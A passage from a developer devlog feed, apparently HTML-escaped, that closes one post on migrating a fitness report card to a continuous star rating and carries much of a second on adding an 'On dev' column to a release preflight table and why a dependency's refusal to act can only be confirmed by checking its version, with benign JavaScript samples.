The escape is to grep for the &lt;em&gt;parse&lt;/em&gt;, not the symbol. Search for the slice, the
regex, the startswith, the class-name concatenation. A type checker will not
find these and neither will a shape-level test, because the shape did not
change. Fowler’s &lt;a href=&quot;https://www.refactoring.com/catalog/replacePrimitiveWithObject.html&quot;&gt;Replace Primitive with Object&lt;/a&gt;
is the long-term fix; the short-term one is knowing that the slice is the thing
you are hunting.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A retune that looks better on paper can delete safety cases.&lt;/strong&gt; A
percentile-derived per-metric normalizer was simulated here, fitting each
metric’s own distribution rather than holding one scale across all four. It
bought two extra quarter-star buckets on pace, and it lost 2 of the 10 cards the
cap catches. Granularity is easy to measure and easy to fall in love with.
Before adopting a candidate curve, score it on the cases the old rule caught,
and treat losing any of them as a regression regardless of what the histogram
looks like.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pick the headroom that reproduces the old boundary, not the round one.&lt;/strong&gt; 2.0
is not there because it is tidy; it is there because floor plus 2.0 lands on the
exact value the discrete cap pinned to. A headroom of 2.5 was tried and silently
stopped capping 4 of the 10 cards, which is the one thing the constant exists to
prevent. Whenever you replace a threshold with a formula, solve for the constant
that makes the formula agree with the threshold at the point the threshold fired.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your font may not have the glyph you just designed around.&lt;/strong&gt; The brand
monospace here carries 963 codepoints and no star among them, so a text star
would render in whatever the host machine happened to substitute. Drawing the
glyphs as inline SVG fixed it, and then partial fills introduced their own trap:
clipping a star at 75% of its bounding box leaves 89.6% of the ink, because a
star is widest in the middle. The first 4.75 was visually identical to a 5.00
until the cut table was linearised by area instead of width.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Migrate the readers in a deliberate order.&lt;/strong&gt; Everything above is one instance
of what Fowler calls &lt;a href=&quot;https://martinfowler.com/bliki/ParallelChange.html&quot;&gt;Parallel Change&lt;/a&gt;:
expand, migrate, contract. The reason the contract phase deserves its own pass
is that a partially migrated numeric scale does not crash, it just reports
things that are almost right.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pmc.ncbi.nlm.nih.gov/articles/PMC1458573/&quot;&gt;The cost of dichotomising continuous variables (Altman &amp;amp; Royston, BMJ 2006)&lt;/a&gt; — the quantified cost of turning a continuous measure into buckets&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://numpy.org/doc/stable/reference/generated/numpy.interp.html&quot;&gt;numpy.interp documentation&lt;/a&gt; — piecewise linear interpolation over increasing sample points, and the clamping behaviour outside them&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/bliki/ParallelChange.html&quot;&gt;Parallel Change (Martin Fowler)&lt;/a&gt; — expand, migrate, contract as a way to land a backward-incompatible representation change&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.refactoring.com/catalog/replacePrimitiveWithObject.html&quot;&gt;Replace Primitive with Object (Refactoring catalog)&lt;/a&gt; — the smell behind a score people slice with &lt;code&gt;[0]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(report-card): continuous 1-5 star rating replaces letter grades (0.50.0) (#198) (#199) (&lt;a href=&quot;https://github.com/natejswenson/local-fitness/commit/896fdadb5e1e57f5dd72ccd9d95e30e4c12eb08b&quot;&gt;896fdad&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/local-fitness/v0.50.0.png" length="29311" type="image/png"/></item><item><title>You cannot feature-detect a refusal</title><link>https://natejswenson.com/devlog/release/v0.2.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/release/v0.2.0/</guid><description>A dependency fixed a bug by refusing to act. Nothing in its response changed, so the only way to know you have the fix is to check the version, and to check it yourself.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;The preflight report gained an &lt;code&gt;On dev&lt;/code&gt; column, printed immediately beside
&lt;code&gt;On main&lt;/code&gt;, and the minimum supported version of the tool underneath it went from
0.4.0 to 0.6.0. Those two lines are the same fix approached from opposite ends.
One puts a fact in front of the operator early enough to act on; the other makes
sure the machinery behind it will actually stop when that fact is true.&lt;/p&gt;
&lt;p&gt;The second half is the part I keep thinking about, because it runs against
advice I would normally give without hesitating: test for the capability, not
the version. That advice quietly assumes the capability leaves a trace.&lt;/p&gt;
&lt;h2&gt;Put the disagreement in the table they read first&lt;/h2&gt;
&lt;p&gt;The underlying bug was that a release could be cut against whatever version sat
on &lt;code&gt;main&lt;/code&gt; while a higher version sat on &lt;code&gt;dev&lt;/code&gt;, unread. The dependency fixed that
by refusing. But a refusal that only speaks at the moment you pull the trigger
is a refusal you meet at the worst possible time, after you have already decided
to release and told somebody you were doing it.&lt;/p&gt;
&lt;p&gt;So the fact moved forward, into the report you read before deciding anything.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The report an operator reads BEFORE deciding to release anything. Its job is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// to put every fact that can block a cut into the same table, so nobody meets a&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// blocker for the first time at the moment they trigger it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; preflight&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(components) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; components.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    Component: c.name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;Last tag&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: c.lastTag &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;—&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;On main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: c.versionOnMain &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;—&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // The column this release added. `On main` and `On dev` disagreeing is the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // fact a cut used to act on silently, so it belongs next to `On main`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // rather than three commands away.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;On dev&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: c.versionOnDev &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;—&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    Blockers: (c.blockers &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; []).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((b) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b.id).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;none&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; renderTable&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(rows) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (rows.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;(nothing to report)&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cols &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(rows[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    Math.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(c.length, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(r[c]).length));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; line&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (cells) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;| &apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cols.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c, i) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(cells[i]).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(c))).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos; | &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos; |&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    line&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(cols),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;|&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cols.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;-&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;repeat&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;|&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;|&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    ...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; line&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(cols.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r[c]))),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Column placement is doing real work here. &lt;code&gt;On dev&lt;/code&gt; sits immediately after
&lt;code&gt;On main&lt;/code&gt; because the two disagreeing &lt;em&gt;is&lt;/em&gt; the finding, and two numbers only
read as a contradiction when they are adjacent. Put one of them in a different
command and the operator has to already suspect the problem to go looking.&lt;/p&gt;
&lt;h2&gt;The probe that proves nothing&lt;/h2&gt;
&lt;p&gt;Now the interesting half. If your tool depends on another tool’s guard, how do
you know the guard is there?&lt;/p&gt;
&lt;p&gt;The standard answer is feature detection. MDN puts the reasoning plainly:
feature detection means “working out whether a browser supports a certain block
of code, and running different code depending on whether it does”, and it warns
against the alternative of sniffing versions, which it calls
&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Testing/Feature_detection&quot;&gt;a terrible practice that should be discouraged at all costs&lt;/a&gt;.
I agree with that in almost every case. &lt;code&gt;if (&amp;quot;geolocation&amp;quot; in navigator)&lt;/code&gt; is
better than a version table, because the feature is a thing you can reach out
and touch.&lt;/p&gt;
&lt;p&gt;A refusal is not. Here are two versions of a dependency that differ only in
whether the dangerous function honours the fact both of them report:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Two stand-in versions of the dependency this tool drives. They differ ONLY in&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// whether `cut` acts on the fact, which is the guarantee we actually rely on.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; AMBIGUOUS_NOTE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;main and dev carry different versions&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name, versionOnMain, versionOnDev }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; devAhead &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; versionOnDev &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; versionOnMain &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { version: versionOnDev } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    versionOnMain,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    versionOnDev,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    devAhead,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    blockers: devAhead &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [{ id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;dev-ahead-of-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, detail: AMBIGUOUS_NOTE }] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Reports the fact. Does NOT refuse on it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; reportsOnly &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  version: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.5.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  readStatus,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(status) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tagged: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;versionOnMain&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Reports the fact AND refuses to act while it is set.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; refuses &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  version: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.6.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  readStatus,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(status) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (status.devAhead) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, error: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`ambiguous: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;AMBIGUOUS_NOTE&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, refusing to guess`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
